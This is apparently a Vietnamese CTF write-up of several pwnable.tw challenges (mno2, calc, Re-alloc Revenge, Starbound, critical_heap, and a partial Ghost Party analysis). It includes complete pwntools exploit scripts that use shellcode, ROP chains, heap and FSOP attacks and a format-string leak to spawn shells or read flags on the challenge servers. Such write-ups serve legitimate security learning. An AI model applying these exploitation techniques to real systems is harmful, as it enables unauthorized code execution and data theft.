1:  59                      pop    ecx                      #Y
2:  42                      inc    edx                      #B
3:  68 30 30 30 30          push   0x30303030               #h0000
8:  58                      pop    eax                      #X
9:  65 42                   gs inc edx                      #eB
b:  35 30 30 30 30          xor    eax,0x30303030           #50000
10: 48                      dec    eax                      #H
11: 42                      inc    edx                      #B
12: 68 30 30 30 30          push   0x30303030               #h0000
17: 30 41 67                xor    BYTE PTR [ecx+0x67],al   #0Ag
1a: 41                      inc    ecx                      #A
1b: 67 42                   addr16 inc edx                  #gB
1d: 68 30 30 30 30          push   0x30303030               #h0000
22: 30 41 67                xor    BYTE PTR [ecx+0x67],al   #0Ag
25: 42                      inc    edx                      #B
26: 68 30 30 30 30          push   0x30303030               #h0000
2b: 58                      pop    eax                      #X
2c: 65 42                   gs inc edx                      #eB
2e: 68 30 30 30 30          push   0x30303030               #h0000
33: 30 41 67                xor    BYTE PTR [ecx+0x67],al   #0Ag
36: 35 33 30 30 30          xor    eax,0x30303033           #53000

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.arch = 'i386'
context.binary = exe = ELF('./mno2',checksec=False)

p = remote('chall.pwnable.tw', 10301)
# p = process(exe.path)

# gdb.attach(p,gdbscript='''
#     b*main+167
#     c
#     ''')
# input()

table = [
     'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
     'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
     'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
     'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
     'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
     'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
     'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
     'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
     'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
     'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
     'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
     'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
     'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
     'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
     ]

shellcode = asm('''
    push eax 
    pop ecx
    inc edx
    push 0x30303030
    pop eax
    gs inc edx
    xor eax, 0x30303030
    dec eax
    inc edx
    push 0x30303030
    xor byte ptr [ecx+0x67],al
    inc ecx
    addr16 inc edx
    push 0x30303030
    xor byte ptr [ecx+0x67],al
    inc edx
    push 0x30303030
    pop eax
    gs inc edx
    push 0x30303030
    xor byte ptr [ecx+0x67],al
    xor eax, 0x30303033
    ''')
shellcode += b'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'

pl = b'PYBh0000XeB50000HBh00000AgAgBh00000AgBh0000XeBh00000Ag53000NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'

p.sendline(shellcode)
# p.sendline(pl)
p.sendline(b'\x90'*0x6a + asm(shellcraft.sh()))

p.interactive()
#FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}

FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}


calc [150 pts]

  • description

Have you ever use Microsoft calculator?

nc chall.pwnable.tw 10100

calc

  • basic file check

image

  • check ida

image

main()

image

calc()

image

get_expr()
đọc từng byte
white-list [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -, +, /, *, %]

image

init_pool()

image
image

parse_expr()

image

eval()

analyse

  • sau khi thử 1 số run test, ta nhận được các info sau
    • biểu thức complicated 👉 output wrong answer
    • biểu thức lỗi : '12 - - 2' 👉 expression error !
    • biểu thức số học : '+12' 👉 weird output

image

  • chung quy lỗi "expression error!" xuất hiện khi kế kí tự phép toán lại là 1 kí tự phép toán khác
  • note lại vài địa chỉ và code
int count[101]; //$esp+0x18
--------------------------------
printf("%d\n", count[count[0]]);
  • phân tích tại sao '+12' ra 0

debug đặt breakpoint ở b*calc+121 sau parse_expr()

image

highlight trắng là count
highlight vàng là count[count[12]]
lúc này là NULL nên in ra 0

  • run test leak canary

canary ở $esp+0x5ac, count ở $esp+0x18
(0x5ac-0x18)/4 = 357
input: +357
breakpoint b*calc+157 sau printf

image

chuẩn bài

  • more run test

image

stack smashing ???
thế '+12' đó, là có thể thay đổi canary ư

  • nếu thay đổi được value, thì giả sử tại đó value âm, ta chỉ cần '+' bù là ra 0 rồi cộng tiếp data
  • nhưng đừng quên là có filter 2 phép toán liên tiếp nên thay vì '+' ta sẽ '-'

nôm na là '-' với '-' ra '+'

  • conclusion:
    • leak arbitrary on stack
    • change value arbitrary on stack

ROP chain

  • đã ow thoải mái, ngại gì không ROP
  • canary là +357: $ebp-0xc -> +360: $ebp -> +361: $eip
  • $ebx cần 1 địa chỉ trỏ tới '/bin/sh\0'
  • ta sẽ truyền tay '/bin/sh\0' rồi đưa vào 1 địa chỉ bằng gadget add ptr[e__], e__ ; ret
  • còn lại là setup gọi execve

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./calc',checksec=False)

# p = process(exe.path)
p = remote('chall.pwnable.tw', 10100)

p.recvline()

addr_binsh = 0x80eba00 #rw_section
_bin = u32(b'/bin')
__sh = u32(b'/sh\0')

pop_eax = 0x0805c34b 
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
add_ecx = 0x080958c2 # add dword ptr [ecx], eax; ret
int80_ret = 0x08070880

def add(index, data):
	show = "+" + str(index)
	p.sendline(show)
	leak = int(p.recvline())
	if (leak < 0):
		leak *= -1
	payload = show
	payload += "+" + str(int(data))
	payload += "-" + str(leak)
	p.sendline(payload)
	log.info("calc: "+ str(payload))
	p.recvline()*3

add(361, pop_eax)
add(362, _bin)
add(363, pop_ecx_ebx)
add(364, addr_binsh)
add(365, addr_binsh)
add(366, add_ecx)
add(367, pop_eax)
add(368, __sh)
add(369, pop_ecx_ebx)
add(370, addr_binsh+4)
add(371, addr_binsh+4)
add(372, add_ecx)
add(373, pop_eax)
add(374, 0xb)
add(375, pop_ecx_ebx)
add(376, addr_binsh+8)
add(377, addr_binsh)
add(378, pop_edx)
add(379, addr_binsh+8)
add(380, int80_ret)
p.sendline(b"a")

p.interactive()
#FLAG{C:\Windows\System32\calc.exe}

FLAG{C:\Windows\System32\calc.exe}


Re-alloc Revenge [350 pts]

  • description

Realloc the world!

nc chall.pwnable.tw 10310

re-alloc_revenge

libc.so

  • basic file check

images

  • check ida

main

main()

allocate

allocate()

reallocate

reallocate()

rfree

rfree()

analyse

  • source tương đồng bài Re-alloc, nhưng ở đây PIE bật nên exe dynamic
  • libc 2.29 nên có cơ chế bảo vệ ở bk_pointer, tận dụng option2 là realloc để modify null
  • note là trong quá trình DEBUG, luôn set các giá trị thoả mãn cho giả định để brute

pwndbg> set *addr = value

make ubin

  • trigger DBF rồi sửa 2 byte trỏ về tcache_perthread_struct, sửa tiếp count=7 để free vào ubin

free ngay đầu thread nên có size là 0x251 (size của tcache)
cần sửa count=7 ngay entry 0x250

  • tỉ lệ cho sửa tcache_perthread_struct là 1/16

vis
2 byte
1 byte cố định \x10
1 byte còn lại trong đó nửa byte biết trước \x_0, tỉ lệ cho nửa byte còn lại là 0x0 đến 0xf ~ 1/16

  • tỉ lệ thất bại sẽ nằm trong 2 khả năng
    • ngoài phạm vi heap: báo lỗi delete(): invalid pointer
    • trong heap nhưng sai ptr: EOFError

leak libc

  • nếu thành công qua tiếp leak libc bằng FSOP (cũng tỉ lệ sucess là 1/16)

chọn _IO_2_1_stdout

stdout
0x77af6933b758 (lui 8 để malloc lại đúng b760)
2 byte
1 byte cố định \x58
1 byte, nửa byte biết trước là \x_7, nửa byte còn lại hên xui

free_hook = system

  • payload cho lúc leak libc sẽ gồm luôn '/bin/sh\0'
  • làm ptr lúc free là chunk chứa '/bin/sh\0'
    -> delete(idx) chunk bớt trước khi send payload cho FSOP
  • ta sẽ tận dụng tcache để malloc ra free_hook

chunk

idx0 là stdout-8
idx1 là còn tcache_perthread_struct
chọn edit(1)

vis

sẽ ghi free_hook ở địa chỉ tô xanh đó
có size là 0x20

bin
(nhìn 0x50 lui xuống)

  • sau đó xoá idx1 đi rồi add cái mới ghi system (sie 0x20)
  • rồi trigger bằng cách delete nơi idx là payload FSOP

image

get flag

  • tỉ lệ ăn shell là 1/16 * 1/16 =))))

image

  • trời độ thì 2 lần =))))

Ảnh chụp màn hình 2024-04-13 133922

  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./re-alloc_revenge_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*menu+119
                b*reallocate+194
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

def add(idx, size, data):
    sla(b'Your choice: ',b'1')
    sla(b'Index:',str(idx))
    sla(b'Size:',str(size))
    sa(b'Data:',data)

def edit(idx, size, data):
    sla(b'Your choice: ',b'2')
    sla(b'Index:',str(idx))
    sla(b'Size:',str(size))
    if size == 0:
        return
    sa(b'Data:',data)

def delete(idx):
    sla(b'Your choice: ',b'3')
    sla(b'Index:',str(idx))

while True:
    while True:
        p = remote('chall.pwnable.tw', 10310)
        # p = process(exe.path)
        GDB()
        
        add(0,0x48, b'aaaa') #idx0:8260
        edit(0,0, b'') #free
        edit(0,0x48, b'\0'*0x10) #modify bk_pointer
        edit(0,0, b'') #DBF without delete ptr

        edit(0, 0x48, b'\x10\x80') #1/16 chance of success 
        # bin_0x50 : 8260->8010
        # point to tcache_perthread struct
        add(1, 0x48, b'aaaa') #idx1:8010 # use 8260 
        # bin_0x50 : 8010
        edit(1, 0x58, b'AAAA') #8260 #fake_size 0x60 
        # keep bin_0x50
        delete(1) #clear idx1:8010
        try:
            add(1, 0x48, b'\0' * 0x23 + b'\x07') #idx1:8010 #make count = 7
            edit(1, 0, b'') #free 8010 ---> ubin size 0x250 (size tcache)
            message = p.recvline()
            if message == b'free(): invalid pointer\n':
                raise EOFError('Incorrect Guess')
            break
        except EOFError:
            p.close()

    info("##################")
    info("#     stage2     #")
    info("##################")

    edit(1, 0x48, b'\x58\x87') # 1/16 chance of success
    # bin_0x50 : 8010->stdout-8
    edit(0, 0x38, b'\0'*0x10) #8260 #modify bk_pointer
    delete(0) #clear idx0:8260
    add(0, 0x48, b'A') #idx0:8010 
    #bin_0x50 : stdout-8
    delete(0) #clear idx0:8010
    try:
        # overwrite _flags & _IO_write_base to leak libc address
        add(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3) #idx0:stdout-8
        leak = p.recvline()
        if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'):
            raise EOFError('Incorrect Guess')
        break
    except EOFError:
        p.close()
        
libc_leak = u64(leak[8:16])
libc.address = libc_leak - 0x1e7570
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

# overwrite __free_hook with system
edit(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook'])) 
delete(1)
add(1, 0x18, p64(libc.sym['system']))

delete(0) #get_shell

p.interactive()
#FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}  

FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}


Starbound [250 pts]

  • description:

Let's play starbound together!

multi-player features are disabled.

nc chall.pwnable.tw 10202

starbound

  • basic file check

image

  • khi run file, có thể thấy sẽ thiếu 1 số libc nên trong script có để lệnh tải bổ sung nếu máy bạn chưa có

thiếu nữa thì hỏi chat gpt đi nha =))))

  • check ida

image

main()

về mấy hàm khác khá là nhiều, nên tóm gọn lại có 7 options

image

run binary

image

show_main_menu()

đi qua lần lượt các hàm thì có mỗi hàm cmd_setting() dường như có BUG

sẽ không chụp màn hình tất cả func, do một số không có gì để khai thác

image

cmd_setting()

cụ thể là option 2

image

cmd_set_name()

dù file là not stripped nhưng mình vẫn rename một số hàm và biến

image

name = 0x80580d0

analyse

  • thấy là read() vào biến name tận 100 bytes, và name lại là phân vùng bss
  • sau đó set cuối payload là 0 (chắc gửi sendline để set 0xa về 0x0)
  • khi chọn option 6 là cmd_setting() thì khi loop lại main() sẽ thay đổi menu() từ show_main_menu() sang show_settings_menu()

image

  • BUG ở trong chính hàm main() , hàm strtol lấy số từ chuỗi, rồi từ số đó mà thực thi *option[choice]

image

không hề check số âm

===> Out of bound

  • logical thinking: trỏ option về name để thực thi, đồng thời name là 1 địa chỉ thực thi được

image

offset = -33

  • vì khả năng read() tận 256 byte nên có thể setup payload thực thi ROPchain

ROP

  • chall này có nhiều hàm được đề cập trong đây

image

thấy đủ cả open , readwrite

  • z chain ROP là orw đọc flag thôi
  • thường format flag là '/home/<chall>/flag'

phán đoán từ mấy bài trước
kết luận là '/home/starbound/flag'

image

  • payload nhập từ đây, đồng nghĩa ta cần kiếm gadget nào đó tăng $esp lên rồi ret

image

0x08048e48

  • rồi từ đó gia giảm padding phù hợp để ret

orw

  • open

image

dù $ebx nên là đường dẫn flag nhưng ở đây lại lấy $ecx

image

open thành công return 3
0 1 2 ứng std in out err
từ 3 trở lên là đối với tệp tin hoặc socket được mở
-> ở read cần fd = 3

  • sau khi open, nó sẽ return tiếp theo, thì ta sẽ lấy gadget này

image

tăng $esp lên 8 rồi pop ebx
bỏ qua 3 stack (3 thanh ghi setup cho việc call)
quá ư là phù hợp

  • read

image

ở bước read này, ta cần ebx=3, ecx=rw_section, edx=100
read vậy cho thoải mái

image

ok vậy xong, việc còn lại là write ra tại rw_section đó thôi

  • write

image

  • lúc này là xong, ta không cần return sau write nào hết nên để gì cũng được

get flag

image

  • maybe bài này có thể dùng cách khác ngoài orw

đang nghĩ đến ret2dlresolved để get_shell

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./starbound',checksec=False)
#sudo apt-get install zlib1g:i386
#sudo apt-get install libssl1.0.0:i386

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x8049362
                b*0x804A654
                b*0x8049972
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10202)
else:
        p = process(exe.path)

open_addr = exe.plt.open
read_addr = exe.plt.read
write_addr = exe.plt.write

name = 0x080580D0
add_esp_0x1c_ret = 0x08048e48

if args.REMOTE:
        target_path = b'/home/starbound/flag'
else:
        target_path = b'flag'

sla(b'> ',b'6')
sla(b'> ',b'2')
GDB()
sla(b'name: ',p32(add_esp_0x1c_ret)+target_path)

add_esp_0x8_pop_ebx_ret = 0x08048936
rw_section = 0x8058180

payload = p32(open_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(name + 4) + p32(0) + p32(0)  
payload += p32(read_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(3) + p32(rw_section) + p32(100) 
payload += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(rw_section) + p32(100)

sla(b'> ',b'-33\0' + b'aaaa' + payload )

p.interactive()
#FLAG{st4r_st4r_st4r_b0und}

FLAG{st4r_st4r_st4r_b0und}


criticalheap [200 pts]

  • description:

There are some secrets . Try to capture /home/critical_heap++/flag.

We recommend you to use the provided docker environment to develop your exploit:

nc chall.pwnable.tw 10500

critical_heap.tar.gz

  • basic file check

image

  • check ida (có rename)

image

main()

image

add()
mỗi lần chọn option này, sẽ tạo 1 index mới (max 10 cái)
yêu cầu nhập name rồi sau đó dùng hàm strdup() tạo ptr heap chứa name

menu
sau đó cho mình 3 lựa chọn

image

normal()
tạo struct như sau

0x0  : name
0x10 : 0x13371337
0x18 : content
...

image

clock()
tạo struct như sau

0x0  : name
0x10 : 0xDEADBEEF
0x18 : localtime(&timer) #get curent time
...

system

system()
tạo struct như sau

0x0  : name
0x10 : 0x48694869
0x18 : get_curnt_dir_name()
0x20 : NULL
0x38 : rand()
...

show
show

show()
sau khi nhận index, nó sẽ check tại đó là function gì bằng cách lấy giá trị tại heap[idx+2] tức là cái struct ở 0x10

edit

edit()
đơn giản là sửa name (lấy len bằng name lúc đầu)
không có BUG

play

play()
tương tự như show(), lần này nó triển khai thêm 3 func khác

normal_func

normal_func()

menu

  • option1, thấy được có BUG fmtstr ở đây khi dùng hàm __printf_chk() mà không format
  • option2, cho phép ta thay đổi content, rồi set cuối struct là địa chỉ gì đó

clock

clock_func()

menu

  • option1, in ra time trên heap
  • option2, update time

sys
sys

system_func()

menu

  • option1, input namevalue, nó sẽ set environment bằng setenv(name,value)
  • option2, unsetenv() thôi, ngược với option1
  • option3, lấy đường dẫn, không có gì đặc biệt
  • option4, dùng getenv() để lấy biến môi trường, nếu không chọn 'USER' (+0x28) hay 'SYS' (+0x30), nó sẽ gán ở struct + 0x20

delete

delete()
xoá heap nhưng không dùng free()
tức là chỉ xoá index trên biến heap
maybe có vulnerable

image

heap = 0x604040

analyse

  • source khá dài và mệt đầu, nhưng thắc mắc hàm localtime() nó sẽ làm gì

image

https://codebrowser.dev/glibc/glibc/time/localtime.c.html#30
jump vào hàm __tz_convert()

image

https://codebrowser.dev/glibc/glibc/time/tzset.c.html#__tz_convert
lại jump vào hàm tzset_internal()

image

https://codebrowser.dev/glibc/glibc/time/tzset.c.html#tzset_internal
lấy biến môi trường là TZ gán vào tz
kiểm tra data của tz

image

ở đây thấy nếu tz khác NULL, nó sẽ cố gắng đọc file bằng hàm __tzfile_read

  • túm lại nếu ta có thể set được biến môi trường TZ là đường dẫn tới flag, là ta có flag trên file rồi
  • lục lại kí ức, hàm system_func() có chức năng đó -> ngol liền
  • thêm cái nữa có fmtstr, z dùng '%s' leak ra thôi
  • NHƯNG MÀ
  • return value của localtime() là 1 địa chỉ heap
    -> leak heap

leak heap

  • ở đây ta sẽ tận dụng BUG không xoá 'hoàn toàn' heap ở hàm delete()
  • ngẫm lại, system_func() chọn option 3 sẽ gán return_value của getenv() ở struct+0x20
  • thêm cái nữa ở normal(), khi add() tạo heap với option1, nó input content ở 0x18 và hàm show() nó dùng '%s' để in
  • problem solved =)))))
  • work flow:
add -> system, set, get 
delete
add -> normal, b'A'*8
show

change env

  • work flow:
add -> system, set TZ + path_flag
  • dùng option2 khi tạo mới heap
add -> clock
  • debug chậm ở __tzfile_read() để lấy giá trị heap trả về, tính offset

image

kiểm tra arg

image

read thành công

  • rồi ta vào normal_func() chọn option2 để thay đổi content rồi option1 để dùng fmtstr
  • lưu ý là hàm __printf_chk() là biến thể của printf(), không phải là hàm tiêu chuẩn, sự khác nhau nằm ở phiên bản và môi trường cụ thể

nôm na là không thể dùng '$' để trỏ đến địa chỉ cụ thể
ta dùng '%c' padding vừa đủ argument và căn chỉnh địa chỉ heap chứa flag trên stack

image

note

  • lưu ý cái nữa là trên local và server khác nhau về current time, nên kết hợp với Dockerfile như description bảo và lấy offset cho đúng
  • dưới đây mình có sửa lại file như sau

Dockerfile

FROM ubuntu:16.04
MAINTAINER angelboy
RUN apt-get update
RUN apt-get install xinetd -y
RUN apt-get install libc6-dev-i386 -y
RUN useradd -m critical_heap++
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/critical_heap++
CMD ["/usr/sbin/xinetd","-dontfork"]
RUN apt-get install nano
RUN apt install python3 -y
RUN apt-get install gdb git -y
WORKDIR /root
RUN git clone https://github.com/scwuaptx/Pwngdb.git ; cp ~/Pwngdb/.gdbinit ~/
RUN git clone https://github.com/scwuaptx/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit ; cp ~/peda/.inputrc ~/

docker-compose.yml

critical_heap:
    build: ./
    environment:
        - PWN=yes
        - DDAA=phd
        - OLDPWD=/home
        - LOGNAME=critical_heap++
        - XDG_RUNTIME_DIR=/run/user/1000
        - LESSOPEN=| /usr/bin/lesspipe %s
        - LANG=en_US
        - SHLVL=1
        - SHELL=/bin/bash
        - ID=1337
        - HOSTNAME=pwnable.tw
        - MAIL=/var/mail/critical_heap++
        - HEAP=fun
        - FLAG=/
        - ROOT=/
        - TCP_PORT=56746
        - PORT=4869
        - X_PORT=56746
        - SERVICE=critical_heap++
        - XPC_FLAGS=0x0
        - TMPDIR=/tmp
        - RBENV_SHELL=bash
    volumes:
        - ./critical_heap:/home/critical_heap++/critical_heap
        - ./xinetd:/etc/xinetd.d/xinetd
        - ./tmp:/tmp
    ports:
        - "56746:4869"
    expose:
        - "4869"
    cap_add:
        - SYS_PTRACE

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('critical_heap', checksec=False)

context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x401272
                #add_system
                b*0x400FA9
                #normal_content
                b*0x402184
                #delete
                b*0x401195
                #add_strdup_name
                b*0x400FF8
                #clock_localtime
                b*0x401D77
                #system_setenv
                b*0x401F4C
                #system_getenv
                b*0x40194B
                #normal_printf_chk
                b*0x40197F
                #normal_read_change_content
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10500)
else:
        p = process(exe.path)

def add(name, num, content=None):
        sla(b'choice : ',b'1')
        sa(b'heap:',name)
        sla(b'choice : ',str(num))
        if num == 1:
                sa('Content of heap :',content)

def show(idx):
        sla(b'choice : ',b'2')
        sla(b'heap :' ,str(idx))       

def delete(idx):
        sla(b'choice : ',b'5')
        sla(b'heap :' ,str(idx))  

def play(idx):
        sla(b'choice : ',b'4')
        sla(b'heap :' ,str(idx))

def set_name(name,value):
        sla(b'choice : ',b'1')
        sla(b'heap :',name)
        sla(b'name :',value)

def get_value(name):
        sla(b'choice : ',b'4')
        sla(b'see :',name)

def back():
        sla(b'choice : ',b'5')

#idx0
add(b'aaaa',3) #system
play(0) #system
set_name(b'abcd',b'efgh') #setenv abcd
get_value(b'abcd') #getenv->0x20: value
back()

delete(0)

#idx0
add(b'bbbb',1,b'A'*8) #normal #0x18->0x20

show(0) #leak value
p.recvuntil(b'A'*8)
heap_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\0'))

if args.REMOTE:
        heap_base = heap_leak - 0x145
else:
        heap_base = heap_leak - 0x4b5

info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))

flag = b'/home/critical_heap++/flag'

#idx1
add(b'cccc',3) #system
play(1) #system
set_name(b'TZ',flag)
back()

# GDB()

#idx2
add(b'dddd',2) #clock

if args.REMOTE:
        flag_addr = heap_base + 0x4d0
else:
        flag_addr = heap_base + 0x7d0

play(0) #normal
sla(b'choice : ',b'2')
payload = b'%c%c%c%c%c%c%c%c%c%c%c%s' + p64(flag_addr)
sla('Content :',payload)

sla(b'choice : ',b'1')
#0x71e733
p.interactive()
#FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}

FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}


Ghost Party [450 pts]

  • description:

Welcome to ghost island and enjoy the ghost party.

nc chall.pwnable.tw 10401

ghostparty
ghostparty.cpp
libc.so

  • basic file check

image

nay đổi gió làm trên WSL =)))

  • source:

dài lắm nên k patse vào đây nha
các đồng chí tự coi source rồi ở mục analyse sẽ phân tích

analsye

  • trước hết đây là file .cpp nên cách khai thác sẽ hoàn toàn khác so với file .c ta thường gặp

https://hackmd.io/@trhoanglan04/pwningCpp

  • source sẽ tạo class cha Ghost
class Ghost {
	public :
		Ghost():name(NULL),age(0){
			type = "Ghost";
		};

		Ghost(const Ghost &copyghost){
			name = new char[strlen(copyghost.name) + 1] ;
			strcpy(name,copyghost.name) ;
			type = copyghost.type;
			age = copyghost.age ;
			msg = copyghost.msg ;
		}

		Ghost& operator=(const Ghost &copyghost){
			name = new char[strlen(copyghost.name) + 1] ;
			strcpy(name,copyghost.name) ;
			type = copyghost.type;
			age = copyghost.age ;
			msg = copyghost.msg ;
		}
		
		char *getname(){
			return name ;
		}

		string gettype(){
			return type ;
		}


		virtual void speak(){
			cout << "<<" <<  name << ">>" <<" speak : " << msg << endl;
		};
		virtual int changemsg(string str){
			msg = str ;
			return 1 ;
		}

		virtual void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	

		}

		virtual ~Ghost(){
			age = 0 ;
			msg.clear();
			type.clear();
			memset(name,0,malloc_usable_size(name));
			delete[] name ;
		};

	protected :
		int age ;
		char *name ;
		string type ;
		string msg ;

};

khởi tạo (constructor)
sao chép (copy constructor)
huỷ (destructor)
-> cấu trúc của Rule of Three in C++

  • có tổng 10 class con

wolf, devil, zombie, skull, mummy, dullahan, vampire, yuki, kasa, alan

  • vấn đề là ở class Vampire:
class Vampire : public Ghost {
	public :
		Vampire():blood(NULL){
			type = "Vampire" ;
		};
		
		Vampire(int ghostage,string ghostname,string ghostmsg){
			type = "Vampire";
			age = ghostage ;
			name = new char[ghostname.length() + 1];
			strcpy(name,ghostname.c_str());
			msg = ghostmsg ;
			blood = NULL ;
		};

		void addblood(string com){
			blood = new char[com.length()+1];
			memcpy(blood,com.c_str(),com.length());
		}


		void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	
			cout << "Blood : " << blood << endl ;
		}
		~Vampire(){
			delete[] blood;
		};
	private :
		char *blood ;
};

ở class này nó không thiết lặp 'copy constructor'
mà lại có destructor
nên khi gán bằng operator = sẽ tạo shallow copy

		case 7 :
			{
			string blood ;
			Vampire *ghost = new Vampire(age,name,message);
			cout << "Add blood :" ;
			cin.ignore();
			getline(cin,blood);
			ghost->addblood(blood) ;
			smalllist(ghost);
			break ;
			}

shallow copy là copy y nguyên ban đầu
nếu class đó đã chứa 1 ptr thì nó sẽ copy ptr đó
thay vì phải tạo 1 ptr mới rồi copy dữ liệu vào ptr đó
nên khi call destructor sẽ free ptr đó
trong khi ptr của cái class ban đầu vẫn trỏ đến
-> UAF
lưu ý trong C++ mỗi new nó sẽ tạo heap

  • với class Mummy:
class Mummy : public Ghost {
	public :
		Mummy(){
			type = "Mummy" ;
		};
		
		Mummy(int ghostage,string ghostname,string ghostmsg){
			type = "Mummy";
			age = ghostage ;
			name = new char[ghostname.length() + 1];
			memcpy(name,ghostname.c_str(),ghostname.length());
			msg = ghostmsg ;
		};

		void addbandage(string ban){
			bandage = ban ;
		}


		void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	
			cout << "Bandage : " << bandage << endl ;
		}
		~Mummy(){
			bandage.clear();
		};
	private :
		string bandage ;
};

nó dùng .clear() tức là nó k dùng free chunk

  • ở class Devil có lẽ đầy đủ nhất
class Devil : public Ghost{
	public :
		Devil():power(NULL){
			type = "Devil" ;
		};

		Devil(int ghostage,string ghostname,string ghostmsg){
			type = "Devil";
			age = ghostage ;
			name = new char[ghostname.length() + 1];
			strcpy(name,ghostname.c_str());
			msg = ghostmsg ;
			power = NULL ;
		};

		Devil(const Devil &copyghost){
			name = new char[strlen(copyghost.name) + 1] ;
			strcpy(name,copyghost.name) ;
			type = copyghost.type;
			age = copyghost.age ;
			msg = copyghost.msg ;
			power = new char[strlen(copyghost.power)+1];
			strcpy(power,copyghost.power);

		};

		void addpower(string str){
			stringstream ss ;
			power = new char[str.length()+1];
			memcpy(power,str.c_str(),str.length());
			cout << "Your power : " << power << endl ;
		};

		void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	
			cout << "power : " << power << endl ;
		}

		~Devil(){
			delete[] power;
		};
	private :
		char *power ;
};

mấy class còn lại tự coi nhé

  • sau khi chọn type ghost thì tới bước này:
template <class T>
int smalllist(T ghost){
	unsigned int choice ;
	cout << "1.Join       " << endl;
	cout << "2.Give up" << endl ;
	cout << "3.Join and hear what the ghost say" << endl ;
	cout << "Your choice : " ;
	cin >> choice ;
	if(!cin.good()){
		cout << "Format error !" << endl ;
		exit(0);
	}

	switch(choice){
		case 1 :
			ghostlist.push_back(ghost);
			cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
			return 1 ;
			break ;
		case 2 :
			cout << "\033[31mThe ghost is not joining the party\033[0m" << endl ;
			delete ghost ;
			return 0 ;
			break ;
		case 3 :
			ghostlist.push_back(ghost);
			speaking(*ghost);
			cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
			return 1;
			break ;
		default :
			cout << "\033[31mInvaild choice\033[0m" << endl ;
			delete ghost ;
			return 0 ;
			break ;
	}
}

để mà sử dụng UAF ta phải xem sét option1 và option3
chỉ khác nhau sau khi .push_back() , option3 có thêm speaking(*ghost);

